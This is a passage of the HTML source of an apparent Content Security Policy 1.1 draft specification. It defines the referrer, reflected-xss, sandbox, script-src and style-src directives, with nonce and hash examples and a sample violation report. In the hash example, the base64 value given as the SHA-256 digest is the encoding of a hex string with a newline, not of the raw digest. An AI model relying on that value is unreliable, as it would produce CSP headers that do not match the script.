will not load in this scenario even\n          if its media type is otherwise whitelisted: resources will only load\n          when their media type is whitelisted <em>and</em> matches the\n          declared type in their containing element.</p>\n        </section>\n      </section>\n\n      <section id=\"referrer\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_referrer\"><span class=\"secno\">3.2.5.13 </span><code>referrer</code></h5>\n\n        <p>The <code>referrer</code> directive specifies a referrer policy\n        that the user agent applies when determining what refererrer\n        information should be included with requests made, and\n        <a href=\"http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#browsing-context\">browsing contexts</a>\n        created from the context of the protected resource. The syntax for\n        the name and value of the directive are described by the following\n        ABNF grammar:</p>\n\n<pre>directive-name    = \"referrer\"\ndirective-value   = \"never\" / \"default\" / \"origin\" / \"always\"\n</pre>\n\n        <p>Note that the directive name does not share the HTTP header's\n        misspelling.</p>\n\n        <p>The term <dfn id=\"dfn-referrer-policy\">referrer policy</dfn> refers to the value of the\n        <code>referrer</code> directive, or to the empty string if no\n        <code>referrer</code> directive is present in the protected\n        resource's policy.</p>\n        \n        <p>If the value of the <code>referrer</code> directive is invalid,\n        the user agent <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> set the referrer policy to\n        <code>never</code>.</p>\n        \n        <p>Replace step 7 of the\n        <a href=\"http://fetch.spec.whatwg.org/#determine-referrer\">\"Determine referrer\" algorithm defined in Fetch</a>\n        with the following:</p>\n\n        <ol start=\"7\">\n          <li>If <var>referrer</var> is null, or if the\n          <a href=\"#dfn-referrer-policy\">referrer policy</a> is\n          <code>never</code>, return null.</li>\n\n          <li>If the <a href=\"#dfn-referrer-policy\">referrer policy</a> is\n          <code>origin</code>, return the ASCII serialization of\n          <var>referrer</var>.</li>\n\n          <li>If the <a href=\"#dfn-referrer-policy\">referrer policy</a> is\n          <code>always</code>, return <var>referrer</var>. Note that\n          this might cause HTTPS referrer information to be sent over the\n          network as part of unencrypted HTTP requests.</li>\n\n          <li>Return null if the scheme component of <var>referrer</var>\n          represents a protocol that uses transport-layer security and\n          the scheme component of the resource being fetched does not.</li>\n\n          <li>Return <var>referrer</var>.</li>\n        </ol>\n\n        <p>Note: This specification should not be interpreted as limiting\n        user agents' ability to apply other restrictions to limit referrer\n        leakage.</p>\n\n        <section id=\"processing-multiple-referrer-policies\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_processing-multiple-referrer-policies\"><span class=\"secno\">3.2.5.13.1 </span>Processing multiple referrer policies</h6>\n          <p>If a referrer policy is specified in multiple places (e.g. both a\n          <a href=\"http://wiki.whatwg.org/wiki/Meta_referrer\"><code>meta</code> element</a>\n          and a <code>referrer</code> directive), resolve the conflict as\n          follows:</p>\n\n          <ol>\n            <li>If all referrer policies have the same value, the protected\n            resource's <a href=\"#dfn-referrer-policy\">referrer policy</a> is\n            that value.</li>\n\n            <li>Otherwise, the protected resource's\n            <a href=\"#dfn-referrer-policy\">referrer policy</a> is\n            <code>never</code>.</li>\n        </ol></section>\n\n        <section class=\"informative\" id=\"usage-3\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_usage-3\"><span class=\"secno\">3.2.5.13.2 </span>Usage</h6><p><em>This section is non-normative.</em></p>\n          <p>A protected resource can prevent referrer leakage by specifying\n          <code>never</code> as the value of its policy's <code>referrer</code>\n          directive:</p>\n\n<pre>Content-Security-Policy: referrer never;\n</pre>\n\n          <p>This will cause all requests made from the protected resource's\n          context to have an empty <code>Referer</code> [sic] header.</p>\n        </section>\n      </section>\n\n      <section id=\"reflected-xss\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_reflected-xss\"><span class=\"secno\">3.2.5.14 </span><code>reflected-xss</code></h5>\n        <p>The <code>reflected-xss</code> directive instructs a user agent\n        to active or disactivate any heuristics used to filter or block\n        reflected cross-site scripting attacks. The syntax for the name and\n        value of the directive are described by the following ABNF grammar:</p>\n<pre>directive-name    = \"reflected-xss\"\ndirective-value   = \"allow\" / \"block\" / \"filter\"\n</pre>\n        <p>A user agent with support for XSS protection <em class=\"rfc2119\" title=\"MUST\">MUST</em> enforce this\n        directive as follows:</p>\n        <ul>\n          <li>If the value of the directive is <code>allow</code>, the user\n          agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> disable its active protections against reflected cross-site\n          scripting attacks for the protected resource.</li>\n          <li>If the value of the directive is <code>filter</code>, the user\n          agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> enable its active protections against reflected cross-site\n          scripting attacks for the protected resource. This might result in\n          filtering script that is believed to be reflected being filtered or\n          selectively blocking script execution.</li>\n          <li>If the value of the directive is <code>block</code>, the user\n          agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> stop rendering the protected resource upon detection of\n          reflected script, and instead act as though it received an empty\n          <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP\n          400 response</a> for the protected resource itself.</li>\n        </ul>\n\n        <p>If the user agent's active protections against reflected cross-site\n        scripting attacks detect or prevent script execution, the user agent\n        <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#dfn-report-a-violation\">report a violation</a>.</p>\n\n        <section class=\"informative\" id=\"relationship-to-x-xss-protection\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_relationship-to-x-xss-protection\"><span class=\"secno\">3.2.5.14.1 </span>Relationship to <code>X-XSS-Protection</code></h6><p><em>This section is non-normative.</em></p>\n          <p>This directive is meant to subsume the functionality provided by\n          the propriatary <code>X-XSS-Protection</code> HTTP header which is\n          supported by a number of user agents. Roughly speaking:</p>\n          <ul>\n            <li><code>reflected-xss allow</code> is equivalent to\n            <code>X-XSS-Protection: 0</code></li>\n            <li><code>reflected-xss filter</code> is equivalent to\n            <code>X-XSS-Protection: 1</code></li>\n            <li><code>reflected-xss block</code> is equivalent to\n            <code>X-XSS-Protection: 1; mode=block</code></li>\n          </ul>\n        </section>\n      </section>\n\n      <section id=\"report-uri\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_report-uri\"><span class=\"secno\">3.2.5.15 </span><code>report-uri</code></h5>\n\n        <p>The <code>report-uri</code> directive specifies a URI to which the\n        user agent sends reports about policy violation. The syntax for the\n        name and value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>directive-name    = \"report-uri\"\ndirective-value   = uri-reference *( 1*WSP uri-reference )\nuri-reference     = &lt;URI-reference from RFC 3986&gt;\n</pre>\n\n        <p>The <dfn id=\"dfn-set-of-report-uris\">set of report URIs</dfn> is the value of the\n        <code>report-uri</code> directive, each resolved relative to the\n        protected resource's URI.</p>\n\n        <p>The process of sending violation reports to the URIs specified in\n        this directive's value is defined in this document's\n        <a href=\"#reporting\">Reporting section</a>.</p>\n\n        <p>Note that the <code>report-uri</code> directive will be ignored if\n        contained within a <a href=\"#html-meta-element\"><code>meta</code> element</a>.</p>\n      </section>\n      <section id=\"sandbox\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_sandbox\"><span class=\"secno\">3.2.5.16 </span><code>sandbox</code></h5>\n\n        <p>The <code>sandbox</code> directive specifies an HTML sandbox policy\n        that the user agent applies to the protected resource. The syntax for\n        the name and value of the directive are described by the following\n        ABNF grammar:</p>\n\n<pre>directive-name    = \"sandbox\"\ndirective-value   = token *( 1*WSP token )\ntoken             = &lt;token from RFC 2616&gt;\n</pre>\n\n        <p>When enforcing the <code>sandbox</code> directive, the user agent\n        <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#parse-a-sandboxing-directive\">parse\n        the sandboxing directive</a> using the <code>directive-value</code>\n        as the <em>input</em> and protected resource's\n        <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n        as the output. [<cite><a class=\"bibref\" href=\"#bib-HTML5\">HTML5</a></cite>]</p>\n\n        <p>Note that the <code>sandbox</code> directive will be ignored when\n        <a href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n        policy defined via a <a href=\"#html-meta-element\"><code>meta</code>\n        element</a>.</p>\n\n        <section class=\"informative\" id=\"usage-4\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_usage-4\"><span class=\"secno\">3.2.5.16.1 </span>Usage</h6><p><em>This section is non-normative.</em></p>\n\n          <p>HTML5 defines a\n          <a href=\"http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox\"><code>sandbox</code> attribute</a>\n          for <code>iframe</code> elements, intended to allow web authors to\n          reduce the risk of including potentially untrusted content by imposing\n          restrictions on that content's abilities. When the attribute is set,\n          the content is forced into a unique origin, prevented from submitting\n          forms, running script, creating or navigating other browsing contexts,\n          and prevented from running plugins. These restrictions can be loosened\n          by setting certain flags as the attribute's value.</p>\n\n          <p>The <code>sandbox</code> directive allows any resource, framed or\n          not, to ask for the same sorts of restrictions to be applied to\n          itself.</p>\n\n          <p>For example, a message board or email system might provide\n          downloads of arbitrary attachments provided by other users. Attacks\n          that rely on tricking a client into rendering one of these attachments\n          could be mitigated by requesting that resources only be rendered in a\n          very restrictive sandbox. Sending the <code>sandbox</code> directive\n          with an empty value establishes such an environment:</p>\n\n          <pre>Content-Security-Policy: sandbox</pre>\n\n          <p>More trusted resources might be allowed to run in an environment\n          with fewer restrictions by adding <code>allow-*</code> flags to the\n          directive's value. For example, you can allow a page that you trust\n          to run script, while ensuring that it isn't treated as same-origin\n          with the rest of your site. This can be accomplished by sending the\n          <code>sandbox</code> directive with the <code>allow-scripts</code>\n          flag:</p>\n\n          <pre>Content-Security-Policy: sandbox allow-scripts</pre>\n\n          <p>The set of flags available to the CSP directive should match those\n          available to the <code>iframe</code> attribute. Currently, those\n          include:</p>\n          <ul>\n            <li><code>allow-forms</code></li>\n            <li><code>allow-pointer-lock</code></li>\n            <li><code>allow-popups</code></li>\n            <li><code>allow-same-origin</code></li>\n            <li><code>allow-scripts</code>, and</li>\n            <li><code>allow-top-navigation</code></li>\n          </ul>\n\n          <p>Note as well that, like the rest of Content Security Policy, the\n          <code>sandbox</code> directive is meant as a defense-in-depth. Web\n          authors would be well-served to use it <em>in addition to</em>\n          standard sniffing-mitigation and privilege-reduction techniques.</p>\n        </section>\n      </section>\n      <section id=\"script-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_script-src\"><span class=\"secno\">3.2.5.17 </span><code>script-src</code></h5>\n\n        <p>The <code>script-src</code> directive restricts which scripts the\n        protected resource can execute. The directive also controls other\n        resources, such as XSLT style sheets [<cite><a class=\"bibref\" href=\"#bib-XSLT\">XSLT</a></cite>], which can cause the\n        user agent to execute script. The syntax for the name and value of\n        the directive are described by the following ABNF grammar:</p>\n\n<pre>directive-name    = \"script-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-script-sources\">allowed script sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>script-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>script-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n        list of <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>,\n        or if at least one <code>nonce-source</code> or <code>hash-source</code>\n        is present in the list of <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>:</p>\n        <ul>\n          <li>Whenever the user agent would execute an inline script from a\n          <code>script</code> element that lacks\n          <a href=\"#dfn-a-valid-nonce\">a valid nonce</a> <em>and</em> lacks\n          <a href=\"#dfn-a-valid-hash\">a valid hash</a> for the\n          <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>,\n          instead the user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> execute script, <em>and</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em>\n          <a href=\"#dfn-report-a-violation\">report a violation</a>.</li>\n\n          <li>Whenever the user agent would execute an inline script from an\n          inline event handler, instead the user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> execute script,\n          <em>and</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#dfn-report-a-violation\">report a\n          violation</a>.</li>\n\n          <li>Whenever the user agent would execute script contained in a\n          <code>javascript</code> URI, instead the user agent <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em> execute\n          the script, <em>and</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#dfn-report-a-violation\">report a violation</a>.\n          (The user agent <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> ignore this step when processing script\n          contained in \"bookmarklets\").</li>\n        </ul>\n\n        <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in\n        <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>:</p>\n        <ul>\n          <li>Instead of evaluating their arguments, both operator\n          <code>eval</code> and function <code>eval</code> [<cite><a class=\"bibref\" href=\"#bib-ECMA-262\">ECMA-262</a></cite>]\n          <em class=\"rfc2119\" title=\"MUST\">MUST</em> throw a <code>SecurityError</code> exception. [<cite><a class=\"bibref\" href=\"#bib-DOM4\">DOM4</a></cite>]</li>\n\n          <li>When called as a constructor, the function <code>Function</code> [<cite><a class=\"bibref\" href=\"#bib-ECMA-262\">ECMA-262</a></cite>]\n          <em class=\"rfc2119\" title=\"MUST\">MUST</em> throw a <code>SecurityError</code> exception. [<cite><a class=\"bibref\" href=\"#bib-DOM4\">DOM4</a></cite>]</li>\n\n          <li>When called with a first argument that is non-callable (e.g.,\n          not a function), the\n          <a href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout\"><code>setTimeout</code></a>\n          function <em class=\"rfc2119\" title=\"MUST\">MUST</em> return zero without creating a timer.</li>\n\n          <li>When called with a first argument that is non-callable (e.g.,\n          not a function), the\n          <a href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval\"><code>setInterval</code></a>\n          function <em class=\"rfc2119\" title=\"MUST\">MUST</em> return zero without creating a timer.</li>\n        </ul>\n\n        <p>The term <dfn id=\"dfn-callable\">callable</dfn> refers to an object whose interface\n        has one or more <dfn id=\"dfn-callers\">callers</dfn> as defined in the <a href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n        IDL</a> specification [<cite><a class=\"bibref\" href=\"#bib-WEBIDL\">WEBIDL</a></cite>].</p>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>, the user\n        agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting a script while processing the <code>src</code> attribute\n          of a <code>script</code> element that lacks\n          <a href=\"#dfn-a-valid-nonce\">a valid nonce</a> for the\n          <a href=\"#dfn-allowed-script-sources\">allowed script sources</a>.</li>\n\n          <li>Requesting a script while processing the\n          <code>Worker</code> or <code>SharedWorker</code> constructors. [<cite><a class=\"bibref\" href=\"#bib-WEBWORKERS\">WEBWORKERS</a></cite>]</li>\n\n          <li>Requesting a script while invoking the <code>importScripts</code>\n          method on a WorkerGlobalScope object. [<cite><a class=\"bibref\" href=\"#bib-WEBWORKERS\">WEBWORKERS</a></cite>]</li>\n\n          <li>Requesting an HTML component, such as\n          when processing the <code>href</code> attribute of a <code>link</code>\n          element with a <code>rel</code> attribute containing the token\n          <code>import</code>. [<cite><a class=\"bibref\" href=\"#bib-html-imports\">html-imports</a></cite>]</li>\n\n          <li>Requesting an Extensible Stylesheet Language Transformations\n          (XSLT) [<cite><a class=\"bibref\" href=\"#bib-XSLT\">XSLT</a></cite>], such as when processing the\n          <code>&lt;?xml-stylesheet?&gt;</code> processing directive in an XML\n          document [<cite><a class=\"bibref\" href=\"#bib-XML11\">XML11</a></cite>], the <code>href</code> attributes on\n          <code>&lt;xsl:include&gt;</code> element, or the <code>href</code>\n          attributes on <code>&lt;xsl:import&gt;</code> element.</li>\n        </ul>\n\n        <section class=\"informative\" id=\"nonce-usage-for-script-elements\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_nonce-usage-for-script-elements\"><span class=\"secno\">3.2.5.17.1 </span>Nonce usage for <code>script</code> elements</h6><p><em>This section is non-normative.</em></p>\n\n          <p>The <code>script-src</code> directive lets developers specify exactly\n          which script elements on a page were intentionally included\n          for execution. Ideally, developers would avoid inline script entirely\n          and whitelist scripts by URL.  However, in some cases, removing inline\n          scripts can be difficult or impossible. For those cases, developers can\n          whitelist scripts using a randomly generated nonce.</p>\n\n          <p>Usage is straightforward. For <em>each</em> request, the server\n          generates a unique value at random, and includes it in the\n          <code>Content-Security-Policy</code> header:</p>\n\n<pre>Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n          <p>This same value is then applied as a <code>nonce</code> attribute\n          to each <code>script</code> element that ought to be executed. For example,\n          if the server generated the random value <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,\n          the server would send the following policy:</p>\n\n<pre>Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n\n          <p>Script elements can then execute either because their <code>src</code>\n          URLs are whitelisted or because they have an appropriate nonce:</p>\n\n<pre>&lt;script&gt;\nalert(\"Blocked because the policy doesn't have 'unsafe-inline'.\")\n&lt;/script&gt;\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"&gt;\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script&gt;\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"&gt;\nalert(\"Allowed because nonce is valid.\")\n&lt;/script&gt;\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\"&gt;&lt;/script&gt;\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n        src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\"&gt;&lt;/script&gt;\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n        src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\"&gt;&lt;/script&gt;\n</pre>\n\n          <p>Note that the nonce's value is <em>not</em> a hash or signature\n          that verifies the contents of the script resources. It's quite simply\n          a random string that informs the user agent which scripts were\n          intentionally included in the page.</p>\n\n          <p>Script elements with the proper nonce execute, regardless of\n          whether they're inline or external. Script elements without the\n          proper nonce don't execute unless their URLs are whitelisted.\n          Even if an attacker is able to inject markup into the protected\n          resource, the attack will be blocked by the attacker's inability\n          to guess the random value.</p>\n        </section>\n        <section class=\"informative\" id=\"hash-usage-for-script-elements\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_hash-usage-for-script-elements\"><span class=\"secno\">3.2.5.17.2 </span>Hash usage for <code>script</code> elements</h6><p><em>This section is non-normative.</em></p>\n\n          <p>The <code>script-src</code> directive lets developers whitelist a\n          particular inline script by specifying its hash as an allowed source\n          of script.</p>\n\n          <p>Usage is straightforward. The server computes the hash of a\n          particular script block's contents, and includes the base64 encoding\n          of that value in the <code>Content-Security-Policy</code> header:</p>\n\n<pre>Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n\n          <p>Each inline script block's contents are hashed, and compared against\n          the whitelisted value. If there's a match, the script is executed. For\n          example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n          <code>YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=</code>.\n          If the server sent the following header:</p>\n\n<pre>Content-Security-Policy: script-src 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n\n          <p>Then the following script tag would result in script execution:</p>\n\n<pre>&lt;script&gt;alert('Hello, world.');&lt;/script&gt;\n</pre>\n\n          <p>Note that whitespace is significant. The following scripts blocks would\n          not hash to the same value, and would therefore <em>not</em> execute:</p>\n\n<pre>&lt;script&gt; alert('Hello, world.');&lt;/script&gt;\n&lt;script&gt;alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt; alert('Hello, world.'); &lt;/script&gt;\n&lt;script&gt;\n  alert('Hello, world.');\n&lt;/script&gt;\n</pre>\n\n          <p>Note also that the hash applies <em>only</em> to inline script. An externalized\n          script containing the value <code>alert('Hello, world.');</code> would <em>not</em>\n          execute if its origin was not whitelisted as a valid source of script.</p>\n        </section>\n      </section>\n      <section id=\"style-src\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_style-src\"><span class=\"secno\">3.2.5.18 </span><code>style-src</code></h5>\n\n        <p>The <code>style-src</code> directive restricts which styles the\n        user applies to the protected resource. The syntax for the name and\n        value of the directive are described by the following ABNF\n        grammar:</p>\n\n<pre>directive-name    = \"style-src\"\ndirective-value   = source-list\n</pre>\n\n        <p>The term <dfn id=\"dfn-allowed-style-sources\">allowed style sources</dfn> refers to the result of\n        <a href=\"#parse-a-source-list\">parsing the <code>style-src</code>\n        directive's value as a source list</a> if the policy contains an\n        explicit <code>style-src</code>, or otherwise to the\n        <a href=\"#dfn-default-sources\">default sources</a>.</p>\n\n        <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n        list of <a href=\"#dfn-allowed-style-sources\">allowed style sources</a>,\n        or if at least one <code>nonce-source</code> or <code>hash-source</code>\n        is present in the list of <a href=\"#dfn-allowed-style-sources\">allowed style sources</a>:</p>\n        <ul>\n          <li>Whenever the user agent would apply style from a\n          <code>style</code> element that lacks\n          <a href=\"#dfn-a-valid-nonce\">a valid nonce</a> <em>and</em> lacks\n          <a href=\"#dfn-a-valid-hash\">a valid hash</a> for the\n          <a href=\"#dfn-allowed-script-sources\">allowed style sources</a>,\n          instead the user agent <code><em class=\"rfc2119\" title=\"MUST\">MUST</em></code> ignore the style,\n          <em>and</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#dfn-report-a-violation\">report a\n          violation</a>.</li>\n\n          <li>Whenever the user agent would apply style from a\n          <code>style</code> attribute, instead the user agent\n          <code><em class=\"rfc2119\" title=\"MUST\">MUST</em></code> ignore the style,\n          <em>and</em> <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#dfn-report-a-violation\">report a\n          violation</a>.</li>\n        </ul>\n        <p>Note: These restrictions on inline do not prevent the user agent\n        from applying style from an external stylesheet (e.g., found via\n        <code>&lt;link rel=\"stylesheet\"&gt;</code>).</p>\n\n        <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in\n        <a href=\"#dfn-allowed-style-sources\">allowed style sources</a>, then:</p>\n\n        <ul>\n          <li>Whenever the user agent would invoke the Cascading Style Sheets\n          Object Model algorithms\n          <a href=\"http://dev.w3.org/csswg/cssom/#insert-a-css-rule\"><code>insert a CSS rule</code></a>,\n          <a href=\"http://dev.w3.org/csswg/cssom/#parse-a-css-rule\"><code>parse a CSS rule</code></a>,\n          or <a href=\"http://dev.w3.org/csswg/cssom/#parse-a-css-declaration-block\"><code>parse a CSS declaration block</code></a>,\n          instead the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> throw a <code>SecurityError</code>\n          exception <em>and</em> terminate the algorithm. This would include,\n          for example, all invocations of CSSOM's various <code>cssText</code>\n          setters and <code>insertRule</code> methods. [<cite><a class=\"bibref\" href=\"#bib-CSSOM\">CSSOM</a></cite>] [<cite><a class=\"bibref\" href=\"#bib-DOM4\">DOM4</a></cite>]</li>\n        </ul>\n\n        <p>Whenever the user agent <a href=\"http://www.w3.org/TR/html5/infrastructure.html#fetching-resources\">fetches</a>\n        a URI (including when following redirects) in the course of one of the\n        following activities, if the URI does not <a href=\"#matches-a-source-list\">match</a> the <a href=\"#dfn-allowed-style-sources\">allowed style sources</a>, the user\n        agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> act as if it had received an empty\n        <a href=\"https://tools.ietf.org/html/rfc2616#section-10.4.1\">HTTP 400 response</a>\n        <em>and</em> <a href=\"#dfn-report-a-violation\">report a violation</a>:</p>\n        <ul>\n          <li>Requesting external style sheets, such as when processing the\n          <code>href</code> attribute of a <code>link</code> element with a\n          <code>rel</code> attribute containing the token\n          <code>stylesheet</code> or when processing the <code>@import</code>\n          directive in a stylesheet.</li>\n        </ul>\n\n        <p>Note: The <code>style-src</code> directive does not restrict the\n        use of XSLT. XSLT is restricted by the <code>script-src</code>\n        directive because the security consequences of including an untrusted\n        XSLT stylesheet are similar to those incurred by including an\n        untrusted script.</p>\n\n        <section class=\"informative\" id=\"nonce-usage-for-style-elements\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_nonce-usage-for-style-elements\"><span class=\"secno\">3.2.5.18.1 </span>Nonce usage for <code>style</code> elements</h6><p><em>This section is non-normative.</em></p>\n\n          <p>See the <a href=\"#nonce-usage-for-script-elements\"><code>script-src</code>\n          nonce usage information</a> for detail; the application of nonces\n          to <code>style</code> elements is similar enough to avoid\n          repetition here.</p>\n        </section>\n        <section class=\"informative\" id=\"hash-usage-for-style-elements\">\n          <h6 aria-level=\"5\" role=\"heading\" id=\"h6_hash-usage-for-style-elements\"><span class=\"secno\">3.2.5.18.2 </span>Hash usage for <code>style</code> elements</h6><p><em>This section is non-normative.</em></p>\n\n          <p>See the <a href=\"#hash-usage-for-script-elements\"><code>script-src</code>\n          hash usage information</a> for detail; the application of hashes\n          to <code>style</code> elements is similar enough to avoid\n          repetition here.</p>\n        </section>\n      </section>\n    </section>\n\n    <section id=\"examples\">\n      <h4 aria-level=\"3\" role=\"heading\" id=\"h4_examples\"><span class=\"secno\">3.2.6 </span>Examples</h4>\n\n      <section class=\"informative\" id=\"sample-policy-definitions\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_sample-policy-definitions\"><span class=\"secno\">3.2.6.1 </span>Sample Policy Definitions</h5><p><em>This section is non-normative.</em></p>\n\n        <p>This section provides some sample use cases and accompanying security policies.</p>\n\n        <p><strong>Example 1:</strong> A server wishes to load resources only\n        form its own origin:</p>\n\n        <pre>Content-Security-Policy: default-src 'self'</pre>\n\n        <p><strong>Example 2:</strong> An auction site wishes to load images\n        from any URI, plugin content from a list of trusted media providers\n        (including a content distribution network), and scripts only from a\n        server under its control hosting sanitized ECMAScript:</p>\n\n        <pre>Content-Security-Policy: default-src 'self'; img-src *;\n                         object-src media1.example.com media2.example.com *.cdn.example.com;\n                         script-src trustedscripts.example.com</pre>\n\n        <p><strong>Example 3:</strong> Online banking site wishes to ensure that all of the content\n        in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content\n        requests:</p>\n\n        <pre>Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'</pre>\n\n        <p>This policy allows inline content (such as inline <code>script</code> elements), use of\n        <code>eval</code>, and loading resources over <code>https</code>.  Note: This policy does\n        not provide any protection from cross-site scripting vulnerabilities.</p>\n\n        <p><strong>Example 4:</strong> A website that relies on inline\n        <code>script</code> elements wishes to ensure that script is only\n        executed from its own origin, and those elements it intentionally\n        inserted inline:</p>\n\n        <pre>Content-Security-Policy: script-src 'self' 'nonce-<em>$RANDOM</em>';</pre>\n\n        <p>The inline <code>script</code> elements would then only execute if\n        they contained a matching <code>nonce</code> attribute:</p>\n\n        <pre>&lt;script nonce=\"<em>$RANDOM</em>\"&gt;...&lt;/script&gt;</pre>\n      </section>\n\n      <section class=\"informative\" id=\"sample-violation-report\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_sample-violation-report\"><span class=\"secno\">3.2.6.2 </span>Sample Violation Report</h5><p><em>This section is non-normative.</em></p>\n\n        <p>This section contains an example violation report the user agent\n        might sent to a server when the protected resource violations a sample\n        policy.</p>\n\n        <p>In the following example, the user agent rendered a representation\n        of the resource <code>http://example.org/page.html</code> with the\n        following policy:</p>\n\n<pre>default-src 'self'; report-uri http://example.org/csp-report.cgi</pre>\n\n        <p>The protected resource loaded an image from\n        <code>http://evil.example.com/image.png</code>, violating the\n        policy.</p>\n\n        <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}</pre>\n\n      </section>\n    </section>\n    <section id=\"security-considerations\">\n      <h4 aria-level=\"3\" role=\"heading\" id=\"h4_security-considerations\"><span class=\"secno\">3.2.7 </span>Security Considerations</h4>\n      <section id=\"cascading-style-sheet-css-parsing\">\n        <h5 aria-level=\"4\" role=\"heading\" id=\"h5_cascading-style-sheet-css-parsing\"><span class=\"secno\">3.2.7.1 </span>Cascading Style Sheet (CSS) Parsing</h5>\n\n        <p>The <code>style-src</code> directive restricts the locations from\n        which the protected resource can load styles. However, if the user agent uses a\n        lax CSS parsing algorithm, an attacker might be able to trick the user\n        agent into accepting malicious \"style sheets\" hosted by an otherwise\n        trustworthy origin.</p>\n\n        <p>These attacks are similar to the <a href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n        cross-origin data leakage</a> attack described by Chris Evans in 2009.\n        User agents <em class=\"rfc2119\" 